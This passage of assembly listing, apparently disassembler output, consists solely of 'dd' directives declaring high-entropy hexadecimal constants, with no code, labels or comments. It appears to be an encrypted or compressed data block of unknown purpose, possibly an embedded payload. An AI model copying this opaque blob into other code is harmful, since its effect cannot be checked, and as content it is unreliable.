		dd 0ACE9F407h, 0D49AC2BFh, 5668783Dh, 0F0C3C697h, 852962A5h
		dd 450FDE66h, 0CC8D217Bh, 7FFCD720h, 7739F74Bh,	0B47C9085h
		dd 453CBE2Ah, 460502D6h, 778329BAh, 0C97D32E0h,	7C2EFE5Fh
		dd 5BE90D61h, 59588954h, 0DDB65557h, 0F95A5C25h, 0C9AD4813h
		dd 6CEADD8h, 0DE7CC03h,	50479005h, 1D6C4CD2h, 814C3123h
		dd 563E5EF6h, 59136A2Dh, 61EB6C16h, 2BB79C1h, 564755Fh
		dd 0F9EC4400h, 8BD101F7h, 0E5F69F14h, 480BC252h, 4C0F6811h
		dd 4D34617h, 18A6203Bh,	1833E132h, 9C4E36ECh, 157C39A2h
		dd 60E6C125h, 2D9AF411h, 807610BDh, 0D4424A09h,	47E131Eh
		dd 814B7523h, 6E20CCFBh, 0C1476322h, 0C10437B4h, 3F27346h
		dd 0C9A6E7ADh, 0C7095B18h, 337A3081h, 3E9074C3h, 632C250Bh
		dd 26D005Ah, 9726D9E9h,	7DCB50DCh, 828C1690h, 1823BD80h
		dd 5037844Dh, 7D2F10ABh, 2C3AFA49h, 40C3764Ch, 211F13C5h
		dd 6841439Eh, 653D08FAh, 269A9E20h, 0D065FEF0h,	0C50858B8h
		dd 4FB80155h, 7B43A547h, 4B540E83h, 8242E20Fh, 0D5C4B5E9h
		dd 310E7821h, 6EB63AC8h, 252FEB1Ch, 57747F5h, 0BB54F8E9h
		dd 10115B62h, 382B73Ah,	4857C7B0h, 23269D26h, 0B67EAF35h
		dd 5AF9649h, 46C1B2BEh,	439CFAD9h, 22A39089h, 0C107D114h
		dd 0F60FF93Eh, 1E81CAD4h, 0BA00C46Dh, 0D22E6267h, 66024C1Dh
		dd 804F2B5Ch, 7328D3E2h, 0D5C6A023h, 0E0954A63h, 0C0820649h
		dd 4B56EE81h, 181EF05h,	29EC4AE8h, 0F65AFCD6h, 78DE2C68h
		dd 37411738h, 0C022DFE3h, 0DC77FEB6h, 8C105AD4h, 0D582B6AEh
		dd 0E950DFD9h, 0A3729DCCh, 8039B205h, 0C4C4A7F2h, 78F4A50Bh
		dd 874314B7h, 0D1B4A3DEh, 3B4BE922h, 5FA48310h,	21A8BEA8h
		dd 4E54F840h, 0D4E3B35Bh, 277A2E1Dh, 0D59C880h,	5C79090Eh
		dd 0E53BC41Ah, 0C1ECA07Eh, 0C4FA0937h, 96DF29DDh, 0A10505E3h
		dd 83E044D8h, 5365CEA9h, 0EFA0B8B7h, 5CD29805h,	950F9310h
		dd 0C9DFD702h, 0E655DC35h, 196817DCh, 8BF5A30Dh, 0DDA502D5h
		dd 80FB515Dh, 3E3A0E4Ah, 0D90DFF7h, 634E709h, 0B08881BEh
		dd 0A86EFEC5h, 6A05E5C8h, 0CDAB13CDh, 7B5EE58Eh, 7ED6BB92h
		dd 50E950F3h, 0B731554Eh, 64A3B5A9h, 0E2551655h, 4A0DD681h
		dd 0F42773CBh, 0E2ED127Dh, 762BEBFEh, 0B7539661h, 7C33FD4Dh
		dd 96E259D9h, 5A34B1F2h, 8EBC19Fh, 20711660h, 0B206BC2Fh
		dd 8FEA8050h, 0B9C7654h, 0DFE918C7h, 1B05CBE0h,	70D0271Eh
		dd 44CCAF8Ch, 432E9E8Ah, 59EF5152h, 7D234A77h, 0E56402AFh
		dd 4AE1F2D4h, 0D4041185h, 6802FD8Ch, 47491DECh,	0D5C43FEBh
		dd 0F185F8EAh, 20862909h, 485BDA01h, 0A4C9EB7Bh, 0FD0A8045h
		dd 0F8D3A37Dh, 4C3EB2ADh, 4B5C52h, 80B4B585h, 664A62C5h
		dd 0F61D9AFCh, 1FDD1ED3h, 4DF54E5Bh, 2604CD66h,	0EC280712h
		dd 88772Ch, 0B65258E2h,	23EB80BAh, 844906C9h, 4C1D46ECh
		dd 8772B49Fh, 4A18CA64h, 0B003F8C8h, 62780087h,	81466604h
		dd 0E4CA5E6h, 0D6F712B9h, 2BE18A12h, 49B163Bh, 0C051FF0Dh
		dd 2D36C17Fh, 3C31B5Ch,	5A6F7ABAh, 3A90B583h, 5AA74B91h
		dd 43E3B07Eh, 22D34ACBh, 74740DCEh, 0D3B4643Eh,	0BC3858EBh
		dd 0BAD33A12h, 63ECDAC3h, 0C48453C9h, 0F5290669h, 7AD94152h
		dd 8A52C38Fh, 0CF3610h,	3B296857h, 955F1733h, 89D712FDh
		dd 8BE08FD7h, 276646D7h, 0A792B402h, 6FE28861h,	86C52EE6h
		dd 0E43FB4C1h, 0C33A0841h, 694F3D48h, 0D90194A8h, 21BFE3D0h
		dd 754C6FFEh, 16583DCFh, 350A8368h, 0C92D0492h,	102114E3h
		dd 8F58F603h, 0C82FD94Ch, 0E830E000h, 511D6659h, 7EFEECB1h
		dd 2CFD1135h, 5701C9ACh, 704D90BFh, 3AFD401Dh, 4FB07E68h
		dd 0A17CE79h, 830A633Bh, 0E903E206h, 4549B7Ah, 905EE036h
		dd 681AEF1Ch, 0B7CCC306h, 48406377h, 0BF1325E9h, 762FC0E5h
		dd 1C5B8E5Ch, 0F37401C5h, 570C4031h, 0EB60E976h, 101BF641h
		dd 2495B8A2h, 16AE65EEh, 3E2F0164h, 3EFE06BFh, 0C9F1CDC7h
		dd 27C83DDDh, 65682549h, 0D6880654h, 0C22C13E0h, 0E6757EE4h
		dd 0A09D26F6h, 74066BF4h, 0AC12B312h, 34BE2D68h, 0DF92C0B4h
		dd 4798CAFEh, 24426E5Ch, 0F7BDFB10h, 93F0974Fh,	0B5694804h
		dd 83FC7025h, 2D1FA754h, 56FF1D16h, 0E2FBEEECh,	2F9B5E57h
		dd 9C0C9FF1h, 0B0DA7156h, 16F296B3h, 2CDBA29h, 0BDA0A03Ch
		dd 872678FFh, 0A919542Ah, 0D5E06718h, 0E2C5A24Ah, 0DD1CF5DCh
		dd 8B30E92Dh, 8A1802F9h, 14457D9Bh, 1E2B5900h, 71ED8134h
		dd 0E632507Eh, 532909C5h, 38FF2514h, 4FD83AD7h,	9220E9FEh
		dd 928204BAh, 58480CCDh, 4A5F2569h, 0E554607Dh,	0F8300037h
		dd 0EDD14D47h, 942FE945h, 61DD3AEFh, 0A46246ADh, 0B56E513h
		dd 4DE6D6C3h, 0A0C87820h, 3DEBB78Bh, 34A48820h,	1268926Ah
		dd 889AA07h, 55AB4498h,	440470B9h, 0CF317EC3h, 0A04AD2CBh
		dd 23270B4Dh, 985455h, 7C2D79E8h, 2775900Dh, 4EF22277h
		dd 2105C90Bh, 0B07704C3h
		dd 7F801FD5h, 0D427AF6h, 0F2F18141h, 5093640Dh,	0E916D3A4h
		dd 5934C705h, 9DCD2483h, 0F4C4D0BCh, 6C12179Eh,	0EA962CABh
		dd 30676E09h, 9A2FEF1h,	0B07FE831h, 82FC5E94h, 0DC55DEC2h
		dd 45A53D96h, 284ED6D8h, 128B8BCh, 595CA143h, 0D06E5D7Eh
		dd 87327B7Ch, 610F32E8h, 163A7954h, 8999A9C4h, 20724466h
		dd 0E2B4F97Dh, 0A0D6A28Bh, 7E513C08h, 0E42D094Eh, 62552A66h
		dd 94070FEAh, 71956911h, 9CBCEB5Eh, 1C2402B5h, 0AF5D040Ah
		dd 0A9B5B0BCh, 2E109C9Fh, 41BA5200h, 29621522h,	80E7D04Eh
		dd 9A18B5D1h, 5466E2F4h, 0D83C25E5h, 77A4368h, 0BB9EAABh
		dd 13A76629h, 35643C7h,	117905FAh, 5335FAC3h, 2F09BB8h
		dd 9B50C68h, 7C95F573h,	88837EADh, 0F702E677h, 0DFD687D2h
		dd 910B2678h, 80D146B8h, 786194C1h, 0EA010C24h,	36106856h
		dd 0BECB7D4Ah, 44E11216h, 0FA06EF6Fh, 924CCFA2h, 66095B20h
		dd 547B4305h, 1BC10902h, 60B192E9h, 35267183h, 0E1130EB5h
		dd 0F75905FFh, 7EED8DEDh, 0E9859FADh, 1449AEEEh, 74FA55EDh
		dd 9BF2AEDh, 73555F8Bh,	13CBA67Bh, 413729CAh, 0C8D888CAh
		dd 584B2847h, 0F01062CBh, 0B26802D6h, 75613135h, 22593689h
		dd 7F673F1Ch, 9360F0B2h, 41BBB849h, 0B2D9FD4Fh,	622A5058h
		dd 0F4D6C637h, 1A093212h, 9307A330h, 0B12E5FAFh, 4BCA326Eh
		dd 0EF3717ABh, 70B82DD1h, 6822212Bh, 0DCB82B85h, 0CF84F4D4h
		dd 0C4490ED2h, 3F4D7DDh, 9207D707h, 0C8EA8111h,	4721675Dh
		dd 0BB05D568h, 8EF2265h, 4A37867Eh, 35961C41h, 368FAEDh
		dd 7318BD58h, 5EF7BDF8h, 90748B9h, 5E5B353Bh, 6A19ED3Ah
		dd 3350AFCBh, 405D805Bh, 96992D24h, 6DA3B19h, 10050697h
		dd 0A001E894h, 0D922E967h, 9A36BFEh, 0B6618216h, 0E45950E3h
		dd 7586720Ah, 0DF0CF048h, 0CEDD39Ah, 733B209Dh,	8FECC30Ch
		dd 99EA7162h, 0E9DE6086h, 52DF5A13h, 1887EAB1h,	0E671DBB2h
		dd 0EE50BF70h, 8A03230Fh, 2BBEE56Ch, 975F60C8h,	6CA447ECh
		dd 0C7D8BE26h, 74A1ACA0h, 0C1109FDDh, 0D5680B82h, 9220F13Eh
		dd 532AC2C2h, 24DE4655h, 2D28192Ch, 5A242160h, 7F813ECCh
		dd 0B85E4AF2h, 8864F001h, 42E91702h, 820C37AEh,	7EB9D82h
		dd 4C200588h, 5F7EA026h, 0C1350100h, 1BDF1204h,	67C40DE9h
		dd 292E82B5h, 0D172FC56h, 81DCA56Ah, 874EF939h,	0E92128FFh
		dd 0DD1D6F5Fh, 4D416158h, 57EC003Bh, 52455355h,	2E1C3233h
		dd 0B786C64h, 5564441h,	0D3149F9h, 4CF9544Eh, 10AA8C6h
		dd 8FE98BF5h, 0AF680560h, 95F9B1Eh, 0FDE3B984h,	9C1D50C1h
		dd 11C215BFh, 0A5219D58h, 909E5208h, 44C9889Bh,	9FB82191h
		dd 25108712h, 107D89A0h, 0B2A2BCh, 8ECE9539h, 0B898A905h
		dd 0C59F331Eh, 0B1801E9Fh, 1C6A2AA1h, 0DC7C00C7h, 0EB6BFB57h
		dd 780FCC60h, 0E0FF53D8h, 0F4661EAh, 0B282009Ch, 0CCFE30F8h
		dd 0F7015B68h, 4FD9ED6Dh, 48E05840h, 0E4E401h, 0E84C755Fh
		dd 0F82C03A3h, 9A4A24CCh, 19330032h, 80F7640Ch,	45FA50A8h
		dd 125B4E1Ch, 0C136C880h, 16069D0h, 31670E0h, 0C8ED7E37h
		dd 620EABB8h, 2019CA55h, 0C292A7DEh, 859000F6h,	881B98C3h
		dd 0D7006DC1h, 69FAB387h, 0E2590C84h, 95D0077Ch, 209683C5h
		dd 25E755CAh, 0B0140E00h, 3D7BDB68h, 9E428h, 0F959EC40h
		dd 0CB8BDE72h, 11DF8703h, 0C998FC0Fh, 1E2EDDCAh, 0D4D801Eh
		dd 3D1D2A86h, 4B1AB600h, 142C800Bh, 63CF3044h, 4DBBFBBEh
		dd 160E40F3h, 6126CD46h, 5400A8E3h, 0EDCA4111h,	0EB372AA4h
		dd 675510ADh, 0B06C00C3h, 584DDF23h, 5441393Ah,	26120700h
		dd 0D99FBF8Ah, 92158200h, 0B77C48DBh, 74330731h, 30CD8DD8h
		dd 37273D91h, 59F5BC0Ch, 0D02408h, 2E82C494h, 0D9773B1Bh
		dd 3406E6EEh, 6F8C98DEh, 9FA31EDDh, 0CB1CFDBFh,	9EAC148Bh
		dd 62E24E00h, 8AD579F2h, 141CA00h, 0B999AAB7h, 0C89E0532h
		dd 18AF0388h, 6E273D08h, 0B121FD18h, 1CAD9FDCh,	40ABBE09h
		dd 59F94EE2h, 3E000A1Fh, 0C191D478h, 705B2787h,	13BF0707h
		dd 3926B483h, 3A82B226h, 1511207h, 2295247h, 0A1798142h
		dd 38182D91h, 1156FD40h, 5FCA3DCBh, 0A12EC400h,	0D3E7F2B4h
		dd 980B8801h, 497842D1h, 684620h, 0FCAB347Dh, 0B4A67BA9h
		dd 0F6BF8B01h, 74E0E5Ah, 8A940481h, 0F030FB25h,	0AE6770E3h
		dd 54563D0Fh, 0D9CC000Dh, 159EAABFh, 900FC35Ch,	0C0D167CDh
		dd 32369AAEh, 6B7222h, 1DE2B6BDh, 0BE2D5640h, 40C16470h
		dd 0BBFDC9DCh, 0FC06E830h, 9C490FAh, 988CB8ADh,	3CBAA57Dh
		dd 0B6ED9F40h, 0E7AE01h, 8FD1FB4Bh, 0C33966CCh,	67213409h
		dd 87D82972h, 0EB103345h, 0FED31A2h, 5330FAF6h,	74D887FCh
		dd 0D78730F1h, 1AE48491h, 5F524100h, 605A8516h,	86290ED4h
		dd 3F40DA93h, 65703626h, 15C94Ch, 17BB8F9Ah, 1C798B51h
		dd 40E0FC1Fh, 63269C7h,	0E1009799h, 46EA6174h, 38145202h
		dd 5FBADB8h, 2B89EC71h,	34A2C362h, 5CE6DB00h, 8CDB77FCh
		dd 0EB4700CCh, 0DD71FA5Ah, 5826D383h, 20804CF4h, 0A2B28DD6h
		dd 0BD850229h, 0AEBA169Dh, 0BC89CA80h, 3004179Ch, 0B018EA79h
		dd 0BA883B80h, 41ED881Eh, 12540402h, 4074CEB2h,	23919CBh
		dd 0CD5E6A7Fh, 26404F2Ah, 452489D5h, 0AE124112h, 0A154F87h
		dd 4424BF60h, 3993923Dh, 8FD09514h, 64BF142Ch, 0DC0EBB1Bh
		dd 0C7003043h, 1D08746Bh, 73DF9600h, 95266F6h, 1290928Ah
		dd 0BFD55A0Eh, 2AB96807h, 3A576861h, 45155250h,	22160603h
		dd 98F9197Eh, 80555C2Dh, 8B84F82Bh, 0DD241F93h,	9388644Eh
		dd 9BFD202Ch, 0EE3141D2h, 7129620h, 12AEE724h, 71AE13Dh
		dd 294A5F40h, 5038CD80h, 50094C3h, 4271D951h, 3B5266Fh
		dd 62AC15D6h, 2AD83722h, 73013A6Dh, 58EF0DE0h, 0A9D8F559h
		dd 2A407305h, 0DBC696h,	27ADE171h, 0A4FC0E49h, 59B1E25Ch
		dd 52EC001Dh, 1E258902h, 19B5033Eh, 2F830848h, 62CEF012h
		dd 0BAFA1701h, 0E1CA174Ch, 5E302B2Ah, 161C50B0h, 0B13A281Ah
		dd 0B24C14ADh, 2E01FAAFh, 4A49B81Ch, 0CB90DB67h, 9F04D979h
		dd 0BF2DBE8Ah, 5F1697D0h, 0B33230CCh, 8FBBAE34h, 8AFCE934h
		dd 0DD42DA80h, 85930E5Eh, 80DF2F20h, 0DA7ACE62h, 0FE4D59Ch
		dd 3CB7F330h, 24C786Dh,	0B9F565E0h, 0AC61C03Dh,	0C3D4D086h
		dd 770340h, 4CE06BEBh, 40EC67F7h, 0DA510100h, 0E56EEE76h
		dd 0F0C9049h, 7E63ADEDh, 52FE7502h, 88128C4h, 497C3117h
		dd 53EF84E8h, 4E88C561h, 893B00A4h, 6C56EC19h, 6DF47BD7h
		dd 0CC70D0A1h, 5E014B0Bh, 7AC4B818h, 41FAC750h,	87604836h
		dd 2F2D90EFh, 0E5055133h, 81CC8197h, 0E32A247Dh, 6EC2F616h
		dd 31669A40h, 7EA4377Eh, 3349A6Fh, 4A1BB7FEh, 74004C0Ah
		dd 0BDA8EE6Eh, 0A60289h, 268AB084h, 60753323h, 880F5404h
		dd 0DF806C25h, 0E093A7B7h, 4E21692Fh, 0BD2E5400h, 0B07AD67h
		dd 0F4B7FCC9h, 5D511180h, 0D3403CEh, 0B9AC990Eh, 0CB9F8194h
		dd 57AFC82h, 5E9097B8h,	3330D480h, 525D234Ch, 0AB007203h
		dd 2FBCC3F0h, 6E4105D3h, 440E292h, 1BCE7A97h, 14828B3Bh
		dd 80D872DEh, 0A7195505h, 0CCD1029Ah, 0D40E1A5Ch, 600F25Eh
		dd 3B971C3Ch, 16A7E22Ch, 191A3A0Bh, 72B8ECC3h, 76C00003h
		dd 982D26Dh, 0BD9D0BA5h, 0D0909A36h, 3702BC9Ch,	38CA5910h
		dd 0A8EF81AEh, 66223E9Ah, 5FC9BD3Ah, 0FBB2A700h, 7A1D7564h
		dd 0FA389704h, 9C8587CEh
		dd 20353181h, 53ACBB30h, 0E758C815h, 4C279844h,	0DB00A08Bh
		dd 2E62F277h, 0E74C15C2h, 57430CC9h, 9BDB67h, 0B01C97C7h
		dd 8428A3B3h, 0AA1CBB99h, 0C7202153h, 0C21F69h,	0F65AD181h
		dd 0C76BE070h, 0E37308A0h, 64F6803h, 8AD8995h, 61C5F7DAh
		dd 56A83B04h, 0DFCA3291h, 60ED42CAh, 16B7EE8h, 63208CF4h
		dd 0D057FBDAh, 4D28B92Ah, 0A3188354h, 6C04FFB6h, 5880F592h
		dd 832F1B0Eh, 1D0096C6h, 1A535646h, 4CA0B0B6h, 0AE309294h
		dd 0FC6F262Bh, 9E0F2261h, 4630278Bh, 0E8E99078h, 0ECD14A92h
		dd 5BE40785h, 87F9B2FBh, 6F774E3Ch, 0AAFDBFA0h,	306E4E3h
		dd 0BB9BA841h, 0C9D8E8AEh, 59DCC05Ah, 0CF632544h, 0E2131DD2h
		dd 421B0214h, 0D2EDE012h, 0B02FC350h, 0B04091A5h, 7328E5B8h
		dd 0DCE49C18h, 0F625426Ah, 5FE39F00h, 514301ADh, 0E2EEE713h
		dd 87EE0A3Fh, 5DFD4600h, 4E760A1Bh, 1A9A8ECh, 5854EF43h
		dd 4B8337CBh, 66B69150h, 28E5EDF9h, 53C50991h, 8AFB8038h
		dd 0E011BBh, 72D2373Ah,	0F28EBAAFh, 10BC700Eh, 25121750h
		dd 1792B012h, 97D14364h, 9FD9BA3h, 24100562h, 0CF509DA1h
		dd 4994DCC5h, 28718E90h, 735B28E7h, 2A6CEC0Eh, 581E473Fh
		dd 0E8FF4340h, 1C6D9957h, 0CA6687F8h, 0C6DF307Fh, 0EB94D080h
		dd 3A2A3A0Dh, 0DAFC30h,	0CBB8A4F6h, 491CABB7h, 7A40094Ah
		dd 2386ED72h, 6CAF0B6Dh, 332B88BCh, 2C19C520h, 31941689h
		dd 983489h, 0E1D827Eh, 0F67502D2h, 44257C1h, 51FDF6A0h
		dd 7004111h, 0C090D2AEh, 4A71CDB1h, 0F3F23766h,	1DB3575Ch
		dd 283BC7C0h, 0B0A568C0h, 35ECD84h, 82072A49h, 5200B4A1h
		dd 4C69C812h, 0BABD728Eh, 0D5774Eh, 7CEFA609h, 7ABFD674h
		dd 83FC6324h, 0C613BB00h, 94AACCF8h, 296C0550h,	1FF58589h
		dd 0E66D5C2Fh, 910206FDh, 0F3391F8Dh, 0BD074AE6h, 2111319Dh
		dd 1F9370B2h, 3F1A211Ah, 583193h, 0FC57C484h, 0B696D403h
		dd 0CCD36F13h, 98A5F198h, 50E094h, 8478C864h, 0BAD50B17h
		dd 72F84A4Ch, 2854330Ah, 7D16E416h, 3045AA0Dh, 2B004322h
		dd 915BF87h, 31036066h,	5F190C0Fh, 8F6154F3h, 329E12D7h
		dd 76AC0135h, 2C105642h, 81F22513h, 36A5EC9Eh, 802A6ACEh
		dd 822675B1h, 0B4A40ABEh, 885EF2h, 0B3A3A10Dh, 91D59F5h
		dd 0A0C20F49h, 805AF6B0h, 0F7B1A108h, 4A0A1F5Bh, 0D831F20Ch
		dd 564977F1h, 0CF2960DCh, 3C4A8759h, 5B2D8BEBh,	3CC862FBh
		dd 0FA4A745Dh, 2A32457h, 9C6C31F1h, 47F954A2h, 0F0BA5240h
		dd 9D017145h, 0E204B57Ah, 67977303h, 83FE0505h,	89F801F8h
		dd 46D65A3Ah, 355EDEAAh, 8ABB805Ch, 0DB35C6C5h,	0B8070C60h
		dd 3BCA2B1h, 0E000C579h, 66C195A4h, 4D06A3h, 0E16B2919h
		dd 891F0B45h, 8BF17F00h, 0BCD066FEh, 3D500079h,	0C90F7B94h
		dd 483F2319h, 11E40F92h, 977F58E8h, 8D8E3ED2h, 0D96B3600h
		dd 323E60AFh, 7B966D1Eh, 9242BAC0h, 63860F59h, 6E83511h
		dd 0D97E0B01h, 8C27D1C4h, 0A3E9052Bh, 0AF06AB21h, 61245A44h
		dd 9EDB1A50h, 0C033F47Eh, 0F7B70F03h, 0B00834FFh, 305FD3BFh
		dd 91550DE9h, 0DF0F948Ah, 0A10A5340h, 866D22E8h, 0B615F02Bh
		dd 76752906h, 0E131800Fh, 0C5EF7F0h, 0F87AC8C5h, 2719B426h
		dd 0D96A2C7Bh, 77011820h, 16823260h, 6780E935h,	0CE4EBA9Ch
		dd 360DC912h, 4942C800h, 18AA16D8h, 46FDDF27h, 830661DAh
		dd 514803E8h, 0E8D26212h, 0B45E68F8h, 92851B3Dh, 0F2BE0Ah
		dd 7962A5C3h, 0A0CD289Bh, 9AB6C01h, 0C5861291h,	7CAD1DE0h
		dd 290C07C1h, 40172BE6h, 0A916F6CDh, 1D708606h,	7421C63Eh
		dd 21D21863h, 624D118Fh, 41B7C908h, 26383098h, 3C67E57Fh
		dd 0DCA02011h, 801F1DB7h, 0D8727EA0h, 1287922h,	5391E68Ch
		dd 9ECCC093h, 5A83A358h, 7CCD2BFFh, 0C848C811h,	8C1A2911h
		dd 501008A6h, 1E11DC4Ch, 3A3FB222h, 6900EABDh, 3C789C99h
		dd 4E00E6CAh, 4F0DA064h, 16B4A73h, 54DF6DC1h, 806F8F3Dh
		dd 0A9F87910h, 8EEFE4h,	0EDA0DC96h, 0A3500A70h,	0BFB94200h
		dd 3F361E05h, 85CE1F2Fh, 41670FC5h, 0E250905h, 0B8F579ACh
		dd 5E97E900h, 5A89842Ch, 8F6AFD00h, 0A1DB3265h,	0E7CF06Bh
		dd 0D9A0619Bh, 7FFF035Dh, 0E4C07681h, 33005A98h, 0F9547D83h
		dd 8C2882h, 638B71F8h, 0CC7CE213h, 967E0B00h, 9D77F978h
		dd 722F0056h, 882E618Eh, 321557A1h, 0C7389017h,	4E87865Ch
		dd 182A8885h, 37A591Dh,	8B7D0150h, 0B0D3B002h, 80DC2C65h
		dd 978910D0h, 0DA59006Bh, 7C2E7D28h, 0D3C778Bh,	7EBC60E3h
		dd 7512859Ch, 0CFD1DF17h, 7D060C71h, 0F889395Ch, 0C045E29h
		dd 1011CAE6h, 0AC920A19h, 80C80321h, 0C5873220h, 3D149A10h
		dd 9E8BCE4h, 2015F87Ch,	3E4F0C48h, 6218C4BDh, 56C4FA49h
		dd 7EA10802h, 0AE1C4028h, 996D055Dh, 10F27DCh, 39A2A32Ch
		dd 2800209Eh, 44100CA6h, 35B1031Fh, 6C3083BEh, 0C931D43h
		dd 4E3D9B59h, 0D51C7C79h, 40702291h, 92A16479h,	3840CDB0h
		dd 0A0C0D959h, 79147828h, 21589C62h, 43BFDFD8h,	0DFE521BFh
		dd 755E1588h, 25E54102h, 0CA860DEh, 974024B8h, 2A1783CCh
		dd 2803A1B9h, 9E140BACh, 4A1FF12Bh, 0B8290C40h,	0E420491Ch
		dd 0BB45187Ah, 0DF4BF03Dh, 0F441E63Ah, 0C659728h, 9853CC0Bh
		dd 440C20C3h, 98B35127h, 581F02B8h, 599F457Ch, 0CFE768C3h
		dd 9EC38890h, 0E2586844h, 1976146Bh, 4E86418h, 9876DF88h
		dd 8C1C55F0h, 10A8BC02h, 1521D39h, 54A026B8h, 0AAC7A98Eh
		dd 7E85F0A6h, 0F8303A2Ch, 0B0C0A2DCh, 425C90B4h, 6F0C0427h
		dd 4018BD4Eh, 0C1C2D8A5h, 9948C365h, 6A14C48Ch,	0B8A1CE4h
		dd 933D9E09h, 97C0287Ch, 3F350C4Ch, 7F913376h, 2703B8B1h
		dd 0A31D02Fh, 3612F618h, 81106188h, 4210712Ch, 62126764h
		dd 28941098h, 0C6D12A2Fh, 0C14A12E0h, 1B0C32B4h, 80730D25h
		dd 0C99469Ah, 8CB85079h, 0B16EF277h, 9C295404h,	7C9A889Bh
		dd 46C62E0h, 0C7208CF4h, 48A096EDh, 70403B4Fh, 1DE5124Bh
		dd 542832D1h, 0D4518028h, 0C61A054h, 1C7026D5h,	88581301h
		dd 0C40C3E45h, 0AC7C5D7Bh, 24990912h, 89B81088h, 3A805CC8h
		dd 8C0ABD41h, 55503717h, 23AA9CACh, 5443D42Fh, 3A29B162h
		dd 2A10A04Fh, 0B74C97B0h, 14534024h, 0D6D8DB94h, 77227421h
		dd 78636192h, 22472650h, 1BE0C3C0h, 51DCB7ADh, 81B7A829h
		dd 0B4C9FFC4h, 0A4D89AC2h, 589BCD30h, 934CA02Ah, 0C823542Ch
		dd 0B8915DBCh, 3EFE05BFh, 9400C96Dh, 53BF7F0Eh,	43A4C7Ch
		dd 86129D08h, 0AB34588h, 40CC3F42h, 9BED91DAh, 647B18C0h
		dd 63D7177Dh, 0BEBD703Ch, 0ADC546E4h, 919C8260h, 3C4CFFA8h
		dd 0E3BA11EDh, 0E851E44Dh, 1C6CC13Ch, 551E34B1h, 0FC3C1CD8h
		dd 4C9DE811h, 1B421E1h,	1C242378h, 25B09088h, 46F80239h
		dd 0F9DBC200h, 54116B8Eh, 0C909001Eh, 199FE8A4h, 0D001774h
		dd 7DCC0AABh, 24E9CD28h, 0ACD2D5h, 6EC78E49h, 0C0017C51h
		dd 0B7907177h, 0CC39AF1Fh, 22C42017h, 62E07E5Ch, 0BE7092D6h
		dd 6E4CD0E4h, 1887A18h,	4A183A96h, 7A811ABFh, 4D86700Ah
		dd 7BF0F7B0h, 430074FFh, 0B45721C9h, 796B1D03h,	729E0F30h
		dd 9800A567h, 4CFAC222h, 21F54E09h, 3454AAFEh, 0BBB4104h
		dd 84B5780Fh, 3BCAAA00h, 2EA3439Dh, 8007A93Ch, 4598D813h
		dd 100385h, 28DDADBBh, 72FEECEEh, 3112180Eh, 0F61B40C9h
		dd 3A05037Ch, 4000772Ch
		dd 19D8762Bh, 0A4008D25h, 0F587CAF2h, 0E75BD4Bh, 0C9321B33h
		dd 7CFE0D41h, 9035E0BEh, 74052D3Fh, 0BD4C1A0Ch,	3E2B108Fh
		dd 0FF003272h, 340EF78Bh, 1E7A33C9h, 4DBE8D0Fh,	3BE1F26h
		dd 4BF67D2Ch, 1B2EC12Fh, 61C8AE0h, 9EB32A40h, 5AE7B89Fh
		dd 6BC1FA04h, 208C2F32h, 0B37230B4h, 2952EBB8h,	0F2768318h
		dd 0EA1001A0h, 83F0DC21h, 2B35F897h, 81C16A09h,	0D68D8622h
		dd 13720718h, 8742E776h, 0E106B121h, 0A488027h,	0FA043444h
		dd 0A20D02AFh, 5C3BD64Eh, 0E7FE1B60h, 44584Ch, 24136C5Fh
		dd 21DD98h, 2DDBD39Fh, 0FF58368Eh, 0B197A300h, 0E22C614Dh
		dd 0E86B00B5h, 108A9120h, 9E0C650Bh, 18B1AF59h,	322C180Ah
		dd 0AE8970D8h, 403C0B28h, 3530A5E6h, 8C8EE9A9h,	9E08C615h
		dd 5F30F907h, 4673C0C4h, 387CA8F0h, 98DB3B35h, 0B7237411h
		dd 0A4959BD1h, 38931083h, 28606C20h, 0B4F6D968h, 0D02E80E5h
		dd 0CC9E6980h, 728106F8h, 5A876318h, 40DB2041h,	4E03A041h
		dd 2F293895h, 0DE57C184h, 7DCD450h, 88CAE63h, 69233341h
		dd 80BED1F1h, 0E656678Ah, 0A1100988h, 2E070020h, 0EDE2189Dh
		dd 0F0E47655h, 880E622Dh, 4089A4AFh, 0A54EDECBh, 0E189CAE0h
		dd 4211248h, 9826651Ch,	29481D28h, 6D30AE64h, 74C28B59h
		dd 3C00EF7Ch, 40BFB2A4h, 4A338Ch, 0F60D12C9h, 2F0FBE75h
		dd 1B017207h, 4C8573FEh, 0B06C7898h, 33761650h,	3541F0Fh
		dd 0DD22105h, 2722AA0h,	13EB4C02h, 98C1F5BCh, 219FA44h
		dd 7B87C52Ch, 4B06D2Dh,	0FF14DBB3h, 0D00C866Ch,	8FD00408h
		dd 0DE220CFDh, 6C193098h, 0DF1F78B3h, 0A887A311h, 3A91D5A2h
		dd 9D9C44ACh, 910D31CEh, 0E6D85B8Ah, 4C8111A1h,	30B4E249h
		dd 7427B920h, 1910A5E5h, 1203091Fh, 33409A4Fh, 818E208h
		dd 0BB9D0A70h, 268D1E88h, 0AB85DD9Ch, 0C461CB9Dh, 1091C8D2h
		dd 195040DEh, 0E0F9E619h, 3199A028h, 129E098Dh,	48A424A3h
		dd 22A291A1h, 0A5984497h, 0BB129689h, 0B948BC24h, 0CF22BA91h
		dd 89BDD044h, 0E0D313CEh, 30EE195h, 10DCCC3Bh, 0C119213Dh
		dd 0E0B825DEh, 0A229844Bh, 0CB957504h, 29850008h, 0A9F43FA0h
		dd 0DF52039Eh, 94A50F27h, 0DEE850E3h, 0C801B69Dh, 109FAADDh
		dd 22D17FF4h, 748CA7F0h, 338DB02Ah, 1A40DF72h, 0CA5427E0h
		dd 21073081h, 41DDE8B6h, 0FA2E9EEBh, 0FA5F4853h, 56FD041Fh
		dd 88CCAC4Ah, 0FCD801C5h, 6DAD131h, 1F2994E1h, 2302AE38h
		dd 0CD351C8Ch, 2D7AEE20h, 9EF643Bh, 421850F0h, 0B8ABFE04h
		dd 2C0E0760h, 30B0A52Dh, 23CCDCEAh, 972185EFh, 382A26A1h
		dd 6E5EB5C0h, 620F68F1h, 0E6125B2Eh, 18E11Ah, 9A68896h
		dd 0D27BDEE9h, 29937219h, 0FDF02D39h, 61AB0256h, 9EACBD27h
		dd 0EA8A28A5h, 0E282E470h, 411F63EBh, 4900A076h, 341C6CB1h
		dd 0E04BF686h, 78DC7D8Eh, 0A3338ECh, 4E039100h,	9DA28F8h
		dd 0FD772C00h, 187C2F4Bh, 7814AEA5h, 0F909308Ah, 72351C30h
		dd 2C10317Ch, 7500038Dh, 862411F6h, 320E4119h, 1FD09EB7h
